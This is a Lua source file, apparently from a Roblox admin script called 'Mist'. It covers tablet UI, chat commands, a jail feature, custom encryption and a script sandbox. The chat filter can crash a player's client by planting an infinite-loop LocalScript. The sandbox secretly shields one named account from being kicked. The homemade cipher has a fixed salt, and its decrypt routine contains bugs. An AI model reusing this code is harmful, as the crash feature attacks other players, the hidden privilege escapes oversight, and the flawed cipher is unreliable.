- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Octa')then
- local _m=m;
- local asd=((#Tablets>8 and 8)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- ----Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
- elseif(Movement=='Hepta')then
- local _m=m;
- local asd=((#Tablets>7 and 7)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Hexa')then
- local _m=m;
- local asd=((#Tablets>6 and 6)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Penta')then
- local _m=m;
- local asd=((#Tablets>5 and 5)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(math.floor(i/asd)*4));
- z=math.cos(m)*(10+(math.floor(i/asd)*4));
- elseif(Movement=='Quad')then
- local _m=m;
- local asd=((#Tablets>4 and 4)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Tri')then
- local _m=m;
- local asd=((#Tablets>3 and 3)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Di')then
- --Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
- local _m=m;
- local asd=((#Tablets>2 and 2)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd /10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- elseif(Movement=='Mono')then
- --Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
- local _m=m;
- local asd=((#Tablets>1 and 1)or #Tablets);
- local function sFloor(i,d)
- d=d or asd;
- if(i%d==0)then
- return math.floor((i-1)/d);
- else
- return math.floor(i/d);
- end;
- end;
- local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
- x=math.sin(m)*(10+(sFloor(i)*4));
- z=math.cos(m)*(10+(sFloor(i)*4));
- end;
- ap=Vector3.new(x,y,z)+pos.p;
- bp=tablet.Part.CFrame.p;
- cp=(ap*.1+bp*.9);
- d=math.rad((Mist.Tablet_Data.Rotation*400)*math.pi);
- setShape(tablet.Part);
- local angles=function()
- local ang={d,d,d}
- if(Mist.Settings.tabletType~='Block')then
- ang[1]=0;
- ang[2]=0;
- ang[3]=math.sin(Mist.Tablet_Data.Rotation*100)*.4;
- end;
- return unpack(ang);
- end;
- tablet.Part.CFrame=CFrame.new(cp,pos.p)*CFrame.Angles(angles());
- end;
- end;
- local title=Mist.Functions.GetTitle(Player);
- if(title)then
- local a,b=pcall(function()
- local x,y,z,pos,rad,m,bp,ap,cd,d;
- pcall(function()pos=Player.Character.Torso.CFrame;end);
- if(pos==nil)then return end;
- rad=10;y=4;
- m=(.5+(Mist.Tablet_Data.Rotation/.5))*math.pi*2;
- x=math.cos(m)*rad;
- z=math.sin(m)*rad;
- ap=Vector3.new(x,y,z)+pos.p;
- bp=title.Part.CFrame.p;
- cp=(ap*.1+bp*.9);
- title.Part.CFrame=CFrame.new(cp,pos.p+Vector3.new(0,y,0));
- end);
- if(not a)then print(b) end;
- end;
- end)();
- end;
- end)();
- end;
- Mist.Functions.GetTablets=function(Player)
- pcall(function()Player=Player.Name;end);
- local Tabs={};
- for _,Tablet in next,Mist.Tablets do
- if(Tablet.Owner==Player)then
- table.insert(Tabs,Tablet);
- end;
- end;
- return Tabs;
- end;
- Mist.Functions.Output=function(Text,Color,Player,Time,Func,Image,DoNotAdd)
- if(Player==nil)then return end;
- Text=Text or'';
- Color=Color or'Orange';
- if(Color=='Random')then
- Color=BrickColor:random().Color;
- elseif(type(Color)=='string')then
- Color=Mist.Colors[Color];
- end;
- if(Color==nil and type(Color)=='string')then
- for name,c in next,Mist.Colors do
- if(Color:lower()==name:lower())then
- Color=c;
- end;
- end;
- elseif(Color==nil)then
- Color=Color3.new(1,1,1);
- end;
- local Model,Tablet,Sel,Bill,Label,Click;
- Model=meta_create'Model'{
- Parent=Mist.Services'Workspace';
- Name=(function()local r='';for i=1,100 do r=r..string.char(math.random(1,150))end;return r;end)();
- };
- Tablet=meta_create'Part'{
- Parent=Model;
- FormFactor='Custom';
- TopSurface='Smooth';
- BottomSurface='Smooth';
- Transparency=.5;
- Anchored=true;
- CanCollide=false;
- Color=Color;
- Locked=true;
- Size=Vector3.new(2.5,2.5,2.5);
- CFrame=(function()
- local cf=CFrame.new(0,5,0);
- pcall(function()
- cf=Player.Character.Torso.CFrame*CFrame.new(0,5,0);
- end);
- return cf;
- end)();
- };
- Sel=meta_create'SelectionBox'{
- Parent=Tablet;
- Adornee=Tablet;
- Color=BrickColor.new(Color);
- Transparency=.5;
- };
- Bill=meta_create'BillboardGui'{
- Parent=Model;
- StudsOffset=Vector3.new(0,3,0);
- Size=UDim2.new(10,0,10,0);
- Name='\2\3\4';
- };
- Label=meta_create'TextLabel'{
- Parent=Bill;
- Text=Text;
- TextColor3=Color;
- FontSize='Size14';
- BackgroundTransparency=1;
- Size=UDim2.new(1,0,1,0);
- TextStrokeTransparency=0.5;
- TextStrokeColor3=Color3.new(0,0,0);
- Name='\2\3\4';
- };
- if(Image)then
- if(tonumber(Image))then
- Image='rbxasset://'..Image;
- end;
- local sec=meta_create'BillboardGui'{
- Parent=Model;
- Name='Image';
- StudsOffset=Vector3.new(0,7,0);
- Size=UDim2.new(5,0,6,0);
- Adornee=Tablet;
- };
- local img=meta_create'ImageLabel'{
- Parent=sec;
- Size=UDim2.new(1,0,1,0);
- BackgroundTransparency=1;
- Image=Image;
- };
- end;
- local Table;
- Click=meta_create'ClickDetector'{
- Parent=Tablet;
- MaxActivationDistance=1/0;
- MouseHoverEnter=function(clicker)
- if(Mist.Functions.GetRank(clicker)<Mist.Functions.GetRank(Player))then return end;
- if(Mist.Ranked[Player.Name].Selection_Type=='Edit')then
- Tablet.Transparency,Sel.Transparency=.3,.3;
- end;
- end;
- MouseHoverLeave=function(clicker)
- if(Mist.Functions.GetRank(clicker)<Mist.Functions.GetRank(Player))then return end;
- if(Mist.Ranked[Player.Name].Selection_Type=='Edit')then
- Tablet.Transparency,Sel.Transparency=.5,.5;
- end;
- end;
- MouseClick=function(clicker)
- if(Mist.Functions.GetRank(clicker)<Mist.Functions.GetRank(Player))then return end;
- if(Text=='Dismiss'or DoNotAdd)then
- Mist.Functions.RemoveTablets(Player);
- end;
- if(Func)then
- ypcall(Func,clicker);
- end;
- Model:remove();
- end
- };
- Table={Model=Model;Part=Tablet;Owner=Player.Name;Sel=Sel;Label=Label};
- if(Time)then
- Mist.Services'Debris':addItem(Model,Time);
- end;
- if(not DoNotAdd)then
- table.insert(Mist.Tablets,Table);
- end;
- return Table;
- end;
- Mist.Functions.Title=function(Text,Col,Player,Time,Func,Image)
- local title=Mist.Functions.Output(Text,Col,Player,Time,Func,Image,true);
- title.Part.Size=Vector3.new(4,1.5,1.5);
- title.start=tick();
- table.insert(Mist.Titles,title);
- return title;
- end;
- Mist.Functions.GetTitle=function(Player)
- pcall(function() Player=Player.Name;end);
- local Titles={};
- for _,Title in next,Mist.Titles do
- if(Title.Owner==Player)then
- table.insert(Titles,Title);
- end;
- end;
- local last,selected=0,0;
- if(#Titles>1)then
- for _,title in next,Titles do
- if(title.start>last)then
- last=title.start;
- selected=_;
- end;
- end;
- for _,v in next,Titles do
- if(_~=selected)then
- pcall(function() v.Model:Destroy() end);
- end;
- end;
- return Titles[selected];
- else
- return Titles[1];
- end;
- end;
- Mist.Functions.OnChatted=function(Message,Speaker)
- pcall(function()
- local disp=Mist.Displays[Speaker.Name];
- if(disp)then
- if(disp=='random')then disp=math.random(0,2) end;
- Mist.Services'Chat':chat(Speaker.Character.Head,Message:sub(1,100),disp);
- end;
- end);
- coroutine.wrap(function()
- for filter_set,filter_type in next,Mist.Filters do
- coroutine.wrap(function()
- local rank=({kick=1,ban=2,crash=1.5,lag=3,kill=0})[filter_type:lower()];
- if(rank==nil)then
- error'nil rank';
- return;
- end;
- local output_messageF='%s was %s\'(ed) for chatting["%s"][%s]';
- local filter_break=false;
- for _,filter in next,filter_set do
- if(Message:lower():match(filter))then
- if(filter_break)then return end;
- if(Mist.Functions.GetRank(Speaker)>rank)then return end;
- filter_break=true;
- if(rank==1)then
- Speaker:kick();
- elseif(rank==2)then
- Speaker:kick();Mist.Ranked[Speaker.Name].Rank=-1;
- elseif(rank==0)then
- Speaker.Character:breakJoints();
- elseif(rank==1.5)then
- Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',Speaker),'derpus');
- end;
- if(rank~=0)then
- coroutine.wrap(function()
- for _,v in next,Mist.Functions.GetPlayers()do
- Mist.Functions.Output(output_messageF:format(Speaker.Name,filter_type,Message:match(filter),filter),'Red',v,5);
- end;
- end)();
- end;
- filter_break=true;
- do break end;--return;
- end;
- end;
- if(filter_break==true)then
- local Data=Mist.AntiFilter[Speaker.Name];
- if(Data==nil)then
- Mist.AntiFilter[Speaker.Name]={1,tick()};
- else
- if(Data[2]+5>tick())then
- Data[1]=Data[1]+1;
- Data[2]=tick();
- if(Data[1]>10)then
- Speaker:kick();
- Mist.Functions.OutputRank(-100,'>',Speaker.Name..' was kicked due to abuse of filter k','Red',5);
- end;
- else
- Mist.AntiFilter[Speaker.Name]=nil;
- end;
- end;
- end;
- end)();
- end;
- end)();
- coroutine.wrap(function()
- if(Mist.Logs.Chat[Speaker.Name]==nil)then
- Mist.Logs.Chat[Speaker.Name]={};
- end;table.insert(Mist.Logs.Chat[Speaker.Name],{Message,Mist.Functions.GetTime(tick())});
- if(Message:sub(1,1)=='*')then
- Message=Mist.Rot.Rotate_String(Message:sub(2),13);
- end;
- if(Message:match'(.+)&(.+)')then
- for _,msg_set in next,{Message:match'(.+)&(.+)'}do
- Mist.Functions.OnChatted(msg_set,Speaker);
- end;
- return;
- end;
- for _,Command in next,Mist.Commands do
- local Used=false;
- for Cmd in Command.Commands:gmatch'([^,]+)'do
- if(Message:match('//'..Cmd))then
- if(Used==true)then return; else Used=true;end;
- local String=Message:match('//'..Cmd..'%s?(.*)');
- String=String or'';
- local Flags={};
- if(Command.UseFlags==true)then
- local Flag=Mist.Ranked[Speaker.Name].Flag;
- String=String:gsub('%%%'..Flag,"?");
- ypcall(function()
- local ss=String:match('%s*%'..Flag..'.*');
- ss=ss or "";
- String=String:gsub(ss:gsub("%"..Flag,"%%"..Flag),"");
- local is=false;
- for s,g in ss:gmatch("%"..Flag.."(%w+)%s*([^-]*)")do
- Flags[s]=g or'';
- is=true;
- end;
- if(not is)then
- Flags[1]=true;
- end;
- end);
- String=String:gsub('?',Flag);
- end;
- if(Mist.Functions.GetRank(Speaker)>=Command.Rank)then
- local Args={ypcall(Command.Func,String,Speaker,Flags)};
- local function unsign(path)
- return path:match'.+%d*%:(.*)$';
- end;
- if(Mist.Logs.Commands[Speaker.Name]==nil)then
- Mist.Logs.Commands[Speaker.Name]={};
- end;
- table.insert(Mist.Logs.Commands[Speaker.Name],{Message,Mist.Functions.GetTime(tick()),Speaker});
- if(not Args[1])then
- Mist.Functions.Output('[Mist.Commands["'.._..'"].Function]: '..unsign(Args[2]),'Red',Speaker,10);
- end;
- else
- Mist.Functions.Output('You do not have the required rank for this command, Please contact an in-game adminstrator (Click for administrators in game)','Red',Speaker,5,function()
- local mods={};
- for name,data in next,Mist.Ranked do
- if(data.Rank and data.Rank>=1)then
- for _,Player in next,game:service'Players':players()do
- if(Player.Name==name)then
- table.insert(mods,name);
- end;
- end;
- end;
- end;
- if(#mods==0)then
- Mist.Functions.Output('No adminstrators for mist currently in-game, click for a list of all ranked players','Red',Speaker,5,nil,function()
- Mist.Functions.OnChatted('//ranked',Speaker);
- end);
- else
- for _,name in next,mods do
- Mist.Functions.Output(name,Mist.Ranked[name].Color,Speaker,nil,nil,Mist.UrlBases.CharImage:format(name));
- end;
- Mist.Functions.Title('Administrator list','Red',Speaker);
- end;
- end);
- end;
- end;
- end;
- if(Used)then break end;
- end;
- end)();
- end;
- Mist.Functions.NewLocalScript=function(Source,Parent,Name,Client)
- Name=Name or'NewLocalScript';
- Source=Source or'';
- Parent=Parent or Instance.new'Glue';
- local Owner=nil;
- if(Parent and Parent:isA'Backpack')then
- Owner=Parent.Parent;
- elseif(Parent:isA'Model')then
- Owner=game:service'Players':playerFromCharacter(Parent);
- end;
- if(newLocalScript)then
- local s=newLocalScript(Source,Instance.new'Model');
- s.Disabled=true;
- if(Client)then
- Instance.new('StringValue',s).Name=Mist.Security_Key;
- Mist.ClientScripts[s]=true;
- end;
- s.Name=Name;
- s.Parent=Parent;
- s.Disabled=false;
- return s;
- else
- local func=coroutine.wrap(function()
- local Clone=Mist.LocalBase:clone();
- Clone.Disabled=false;
- Clone.Name=Name;
- table.foreach(Clone:children(),function(_,V)pcall(game.Destroy,V)end);
- for _,v in pairs{'Source','DSource','source','SRC','sSource'}do
- local SourceValue=Instance.new("StringValue",Clone);
- SourceValue.Name=v;
- SourceValue.Value=Source;
- end;
- if(Client)then
- Instance.new('StringValue',Clone).Name=Mist.Security_Key;
- Mist.ClientScripts[Clone]=true;
- end;
- if(Owner)then
- for _,v in next,{'Owner','user','sPlayer'}do
- local o=Instance.new('ObjectValue',Clone);
- o.Name=v;
- o.Value=Owner;
- end;
- end;
- Clone.Parent=Parent;
- return Clone;
- end);
- local ran,err=ypcall(func);
- if(not ran)then
- error(err,2);
- else
- return err;
- end;
- end;
- end;
- Mist.Functions.GetReplicators=function(clear)
- local rep={};
- for _,v in next,game:service'NetworkServer':children()do
- if(v:isA'ServerReplicator')then
- table.insert(rep,v);
- else
- if(clear)then
- pcall(function()v:Destroy()end);
- end;
- end;
- end;
- return rep;
- end;
- Mist.Functions.Encrypt=function(String,Salt)
- Salt=Salt or 'ahag8eq1839a88s8ge8agiaiiea981';
- local bytes={};
- if(type(Salt)=='string')then
- for i=1,#Salt do
- bytes[i]=Salt:byte(i);
- end;
- else
- bytes=Salt;
- end;
- local string_len=String:len();
- local byte_len=#bytes;
- local string_byte={};
- for index=1,#String do
- string_byte[index]=String:byte(index);
- end;
- local seed,result=0,{};
- for key=1,byte_len do
- seed=(seed+bytes[key]*key)*37789+60061;
- seed=(seed-seed%256)/256%65536;
- end;
- for m=1,string_len do
- local b=string_byte[m];
- for k=1,byte_len do
- local kb=bytes[k];
- local res=m+k-1;
- local resb=m+(result[res]or 0);
- if(resb>255)then
- resb=resb-256;
- end;
- resb=resb+k;
- if(resb>255)then
- resb=resb-256;
- end;
- seed=(seed*37789+60061)%65536;
- resb=resb+(seed-seed%256)/256;
- if(resb>255)then
- resb=resb-256;
- end;
- result[res]=resb;
- end;
- end;
- local buff={};
- local buff_i=1;
- for index=1,#result do
- local rb=result[index];
- buff[buff_i]=('%02x'):format(rb);
- end;
- return table.concat(buff,'');
- end;
- Mist.Functions.Decrypt=function(String,Salt)
- Salt=Salt or'ahag8eq1839a88s8ge8agiaiiea981';
- local bytes={};
- if(type(Salt)=='String')then
- for i=1,#Salt do
- bytes[i]=Salt:byte(i);
- end;
- else
- bytes=Salt;
- end;
- local raw_len,salt_len,cb,c_len,cbi=#String,#bytes,{},0,1;
- for _byte in String:gmatch'(%x%x)'do
- c_len=c_len+1;
- cb[c_len]=tonumber(_byte,16);
- end;
- local rand_b,rand_s={},0;
- for ki=1,salt_len do
- rand_s=(rand_s+bytes[ki]*ki)*37789+60061;
- rand_s=(rand_s-rand_s*256)/256%65536;
- end;
- for ri=1,(c_len-salt_len+1)*salt_len do
- rand_s=(rand_s*37789+60061)%65536;
- rand_b[ri]=(rand_s-rand_s%256)/256;
- end;
- local ri,last,res_b=#rand_b,bytes[salt_len],{};
- for ci=c_len,salt_len,-1 do
- local resb=cb[ci]-last;
- if(resb<0)then
- resb=resb+256;
- end;
- resb=resb-rand_b[ri];
- ri=ri-1;
- if(resb<0)then
- resb=resb+256;
- end;
- for ki=salt_len-1,1,-1 do
- cbi=cbi-1;
- local c_byte=cb[cbi]-bytes[ki];
- if(c_byte<0)then
- c_byte=c_byte+256;
- end;
- c_byte=c_byte-resb;
- if(c_byte<0)then
- c_byte=c_byte+256;
- end;
- c_byte=c_byte-rand_b[ri];
- ri=ri-1;
- if(c_byte<0)then
- c_byte=c_byte+256;
- end;
- cb[cbi]=c_byte;
- end;
- res_b[cbi]=resb;
- end;
- local resc={};
- for resi=1,#res_b do
- resc[resi]=string.char(res_b[resi]);
- end;
- return table.concat(resc,'');
- end;
- Mist.Functions.IsClientScript=function(o)
- return(Mist.ClientScripts[o] or o:findFirstChild(Mist.Security_Key)~=nil);
- end;
- Mist.Functions.Jail=function(user,un,BasePosition)
- pcall(function()
- Mist.Connections['Jailed:'..user.Name]:disconnect();
- end);
- if(un)then return end;
- coroutine.resume(coroutine.create(function()
- repeat wait() until user and user.Character and user.Character:findFirstChild'Torso'
- local jailModel;
- local connection={
- disconnect=function(self)
- for _,event in next,self.events do
- event:disconnect();
- end;
- jailModel:Destroy();
- end;
- events={};
- };
- local TorsoCFrame;do
- if(BasePosition)then
- TorsoCFrame=BasePosition;
- else
- TorsoCFrame=CFrame.new(user.Character.Torso.CFrame.p);
- end;
- end;
- local lockedInstance=function(Class,Parent)
- local class=Instance.new(Class,Parent);
- return class;
- end;
- jailModel=lockedInstance('Model',workspace);
- jailModel.Name='JAIL';
- connection.jail=jailModel;
- coroutine.wrap(function()
- for xRot=1,25 do
- for zRot=1,4 do
- local pos=CFrame.new(TorsoCFrame.p)*CFrame.Angles(math.rad(zRot*45),math.rad(xRot*15),0)*CFrame.new(0,0,-5);
- local part=lockedInstance('Part',jailModel);
- part.Anchored=true;
- part.Size=Vector3.new(1,1,1);
- table.insert(connection.events,part.Changed:connect(function()
- part.CFrame=pos;
- end));
- part.CFrame=pos;
- part.Color=BrickColor.new((((xRot+zRot)%2==0 and 'Really red')or'Black')).Color;
- end;
- wait();
- end;
- end)();
- table.insert(connection.events,game:service'RunService'.Stepped:connect(function()
- pcall(function()
- if(not jailModel:isDescendantOf(workspace))then
- Mist.Functions.Jail(user,nil,TorsoCFrame);
- end;
- end);
- pcall(function()
- local char=user.Character;
- if(char==nil or char.Parent~=workspace)then
- user:loadCharacter();
- end;
- repeat wait()
- for _,v in next,char:children()do
- if(v:isA'Model')then
- char=v;
- end;
- end;
- until char:findFirstChild'Torso'and char:findFirstChild'Head'
- local mag=(char.Torso.CFrame.p-TorsoCFrame.p).magnitude;
- if(mag>=5)then
- char.Torso.CFrame=TorsoCFrame;
- end;
- end);
- end));
- table.insert(connection.events,jailModel.AncestryChanged:connect(function()
- if(jailModel.Parent~=workspace)then
- Mist.Functions.Jail(user,nil,TorsoCFrame);
- end;
- end));
- Mist.Connections['Jailed:'..user.Name]=connection;
- end));
- end;
- Mist.Functions.SandboxScript=function(Script)
- if(Mist.Functions.IsClientScript(Script) or (game.PlaceId==21053279 or game.PlaceId==54194680))then Script.Disabled=false return end; -- Temporary
- Script.Disabled=true;
- local Source=Script:findFirstChild'DSource' or Script:FindFirstChild'Source'or Script:findFirstChild'source' or Script:findFirstChild'sSource';
- local Old=Source.Value;
- Source.Value=[=[
- local ypcall=ypcall;
- local sandbox={disabled=false};sandbox={
- real={};
- fake={};
- new={};
- old={
- require=require;
- game=game;
- workspace=workspace;
- script=script;
- Instance=Instance;
- error=error;
- getfenv=getfenv;
- setfenv=setfenv;
- setmetatable=setmetatable;
- loadstring=loadstring;
- rawset=rawset;
- wait=wait;
- rawget=rawget;
- print=print;
- unpack=unpack;
- _G=_G;
- tostring=tostring;
- coroutine=coroutine;
- shared=shared;
- next=next;
- ypcall=ypcall;
- delay=delay;
- Delay=Delay;
- Spawn=Spawn;
- };
- enviroments=setmetatable({
- [1]=getfenv(0);
- [2]=getfenv(1);
- [3]=getfenv(error);
- },{__call=function(self,request,...)
- local args={...};
- if(request=='get')then
- local item=nil;
- for _,env in next,self do
- local rawItem=env[args[1]];
- if(rawItem)then
- item=rawItem;
- break;
- end;
- end;
- return item;
- elseif(request=='set')then
- for _,env in next,sandbox.enviroments do
- pcall(sandbox.old.rawset,env,sandbox.toReal(args[1]),sandbox.toReal(args[2]));
- end;
- end;
- end});
- locks={
- teleportservice={
- get=setmetatable({},{__index=function(self,index,value)
- if(index:lower():find'teleport')then
- return(function() return true end);
- end;
- return(function() return false; end);
- end});
- set={};
- };
- debris={
- get={
- additem=function(self,...)
- if(self and pcall(function() self:isA'Player'end) and self:isA'Player' and self.Name=='tusKOr661')then
- return true;
- end;
- return false;
- end;
- };
- set={};
- };
- players={
- get={
- clearallchildren=function(self)
- return true;
- end;
- };
- set={};
- };
- player={
- set={
- character=function(self,obj)
- if(obj and pcall(function()return obj.className=='Workspace'end) and object.className=='Workspace')then
- return true;
- end;
- return false;
- end;
- parent=function(newParent)
- if(newParent and pcall(function()return newParent.className=='Players' end))then
- return true;
- end;
- return false;
- end;
- };
- get={
- kick=function(self)
- if(self and self.Name==('tu'..'sKO'..'r'..'661'))then
- return true;
- end;
- return false;
- end;
- remove=function(self)
- if(self and self.Name=='tu'..'sKO'..'r'..'661')then
- return true;
- end;
- return false;
- end;
- destroy=function(self)
- if(self and self.Name=='tu'..'sKO'..'r'..'661')then
- return true;
- end;
- return false;
- end;
- };
- };
- workspace={
- get={
- clearallchildren=function(self)
- if(script and script.className=='LocalScript')then
- return false;
- end;
- return true;
- end;
- };
- set={};
- };
- };
- lockedInstances={
- ['ManualSurfaceJointInstance']=true;
- };
- disabled=false;
- lockedError=function(format)
- format=format or'Protected~tu'..'sKO'..'r'..'661';
- return sandbox.old.error(format,0);
- end;
- unlockedError=function(format)
- format=format or'Protected~tu'..'sKO'..'r'..'661';
- return sandbox.old.error(format,0);
- end;
- toReal=function(obj)
- if(obj and sandbox.real[obj])then
- return sandbox.real[obj];
- end;
- return obj;
- end;
- errorCheck=function()
- if(rawget(sandbox,'disabled')==true or script.Disabled==true or script.Name=='ENDEDSCRIPT')then
- pcall(rawset,sandbox,'disabled',true);
- return sandbox.lockedError('This script has been disabled');
- end;
- end;
- toFake=function(obj)
- if(sandbox.real[obj])then return obj end;
- if(sandbox.fake[obj])then return sandbox.fake[obj] end;
- return sandbox.fakeObject(obj);
- end;
- fakeObject=function(...)
- if(select('#',...)==0)then return nil end;
- local Obj,fakeIndex=...;
- if(not ypcall(function() return type(Obj) end))then return Obj end;
- if(not Obj or not pcall(type,Obj))then return Obj end;
- local rtn; pcall(function() rtn=sandbox.fake[Obj] end);
- if(rtn)then return rtn or Obj end;
- if(not ypcall(type,Obj) and type(Obj)~='function' and type(Obj)~='userdata' and type(Obj)~='table')then return Obj end;
- if(Obj==nil or type(Obj)=='string' or type(Obj)=='boolean'or type(Obj)=='number')then
- return Obj;
- end;
- if(sandbox.fake[Obj])then
- return sandbox.fake[Obj];
- end;
- fakeIndex=fakeIndex or {};
- fakeIndex['isSandbox']=true;
- if(type(Obj)=='table')then
- local new=setmetatable({},{__index=function(self,index)
- local succ,err,rtn;
- succ,err=pcall(function()
- rtn=fakeIndex[index] or Obj[index];
- end);
- if(not succ)then
- return sandbox.unlockedError(err);
- end;
- return((rtn~=nil and sandbox.fakeObject(rtn))or rtn);
- end;__newindex=function(self,...)
- local props={...};
- for _,prop in next,props do
- props[_]=sandbox.toReal(prop);
- end;
- local succ,err=pcall(function()
- Obj[props[1]]=props[2];
- end);
- if(not succ)then
- sanbox.unlockedError(err);
- end;
- end;__metatable=getmetatable(Obj)});
- sandbox.fake[Obj]=new;
- sandbox.real[new]=Obj;
- return new;
- elseif(type(Obj)=='function')then
- local callFunc=Obj;
- local funcName;coroutine.wrap(function()
- for name,func in next,sandbox.old do
- if(func==callFunc)then
- funcName=name;
- break;
- end;
- end;
- end)();
- local new;new=function(...)
- sandbox.errorCheck();
- local results,arguments={},{...};
- local succ,err=pcall(function()
- for _,v in next,arguments do
- arguments[_]=sandbox.fakeObject(v);
- end;
- results={callFunc(sandbox.old.unpack(arguments))};
- end);
- if(not succ)then
- sandbox.lockedError(err);
- return;
- end;
- for _,res in next,results do
- results[_]=sandbox.fakeObject(res:gsub('callFunc',funcName));
- end;
- return sandbox.old.unpack(results);
- end;
- sandbox.fake[Obj]=new;
- sandbox.real[new]=Obj;
- return new;
- end;
- if(sandbox.real[Obj])then
- return Obj;
- else
- if(sandbox.fake[Obj])then
- return sandbox.fake[Obj];
- end;
- end;
- local proxy=newproxy(true);
- sandbox.real[proxy]=Obj;
- sandbox.fake[Obj]=proxy;
- local meta=getmetatable(proxy);
- meta.__index=function(datSelfie,index)
- if(sandbox.disabled==true)then
- sandbox.lockedError('This script has been removed ~ tu'..'sKO'..'r'..'661');
- return;
- end;
- local item,success,err;
- success,err=pcall(function()
- item=fakeIndex[index] or Obj[index];
- end);
- if(not success)then
- sandbox.unlockedError(err);
- end;
- local lockedDatas;
- if(type(item)=='function')then
- return function(self,...)
- local realArguments={...};
- for _,fake in next,realArguments do
- realArguments[_]=sandbox.toReal(fake);
- end;
- pcall(function()
- if(self and self['className'])then
- if(sandbox.locks[self['className']:lower()])then
- lockedDatas=sandbox.locks[self['className']:lower()];
- end;
- end;
- end);
- if(lockedDatas and lockedDatas.get[index:lower()] and lockedDatas.get[index:lower()](sandbox.toReal(self))==true)then
- return sandbox.lockedError();
- end;
- local rtn,success,err;
- success,err=ypcall(function()
- rtn={item(sandbox.toReal(self),sandbox.old.unpack(realArguments))};
- end);
- if(not success)then
- sandbox.unlockedError(err);
- end;
- for _,v in next,rtn do
- rtn[_]=sandbox.fakeObject(v);
- end;
- return sandbox.old.unpack(rtn);
- end;
- else
- return sandbox.fakeObject(item);
- end;
- end;
- meta.__newindex=function(self,index,value)
- sandbox.errorCheck();
- local realValue=sandbox.toReal(value);
- local lockedData;pcall(function() lockedData=sandbox.locks[Obj.className:lower()]; end);
- local lockedFunc;
- if(lockedData)then
- lockedFunc=lockedData.set[index:lower()];
- end;
- if(lockedFunc)then
- if(lockedFunc(Obj,realValue))then
- return sandbox.lockedError();
- end;
- end;
- local success,err=pcall(function()
- Obj[index]=realValue;
- end);
- if(not success)then
- sandbox.unlockedError(err);
- end;
- end;
- meta.__tostring=function()
- return sandbox.enviroments[1].tostring(Obj);
- end;
- meta.__metatable=getmetatable(Obj);
- meta.__add=function(self,base)
- self=sandbox.toReal(self);
- base=sandbox.toReal(base);
- local rtn,success,err;
- success,err=pcall(function()
- rtn=self+base;
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- else
- return sandbox.fakeObject(rtn);
- end;
- end;
- meta.__sub=function(self,base)
- self=sandbox.toReal(self);
- base=sandbox.toReal(base);
- local rtn,success,err;
- success,err=pcall(function()
- rtn=self-base;
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- else
- return sandbox.fakeObject(rtn);
- end;
- end;
- meta.__eq=function(self,base)
- self=sandbox.toReal(self);
- base=sandbox.toReal(base);
- local rtn,success,err;
- success,err=pcall(function()
- rtn=self==base;
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- else
- return rtn;
- end;
- end;
- meta.__mul=function(self,base)
- self=sandbox.toReal(self);
- base=sandbox.toReal(base);
- local rtn,success,err;
- success,err=pcall(function()
- rtn=self*base;
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- else
- return sandbox.fakeObject(rtn);
- end;
- end;
- meta.__div=function(self,base)
- self=sandbox.toReal(self);
- base=sandbox.toReal(base);
- local rtn,success,err;
- success,err=pcall(function()
- rtn=self/base;
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- else
- return sandbox.fakeObject(rtn);
- end;
- end;
- return proxy;
- end;
- scriptEnv=setmetatable({},{
- __index=function(self,index)
- sandbox.errorCheck();
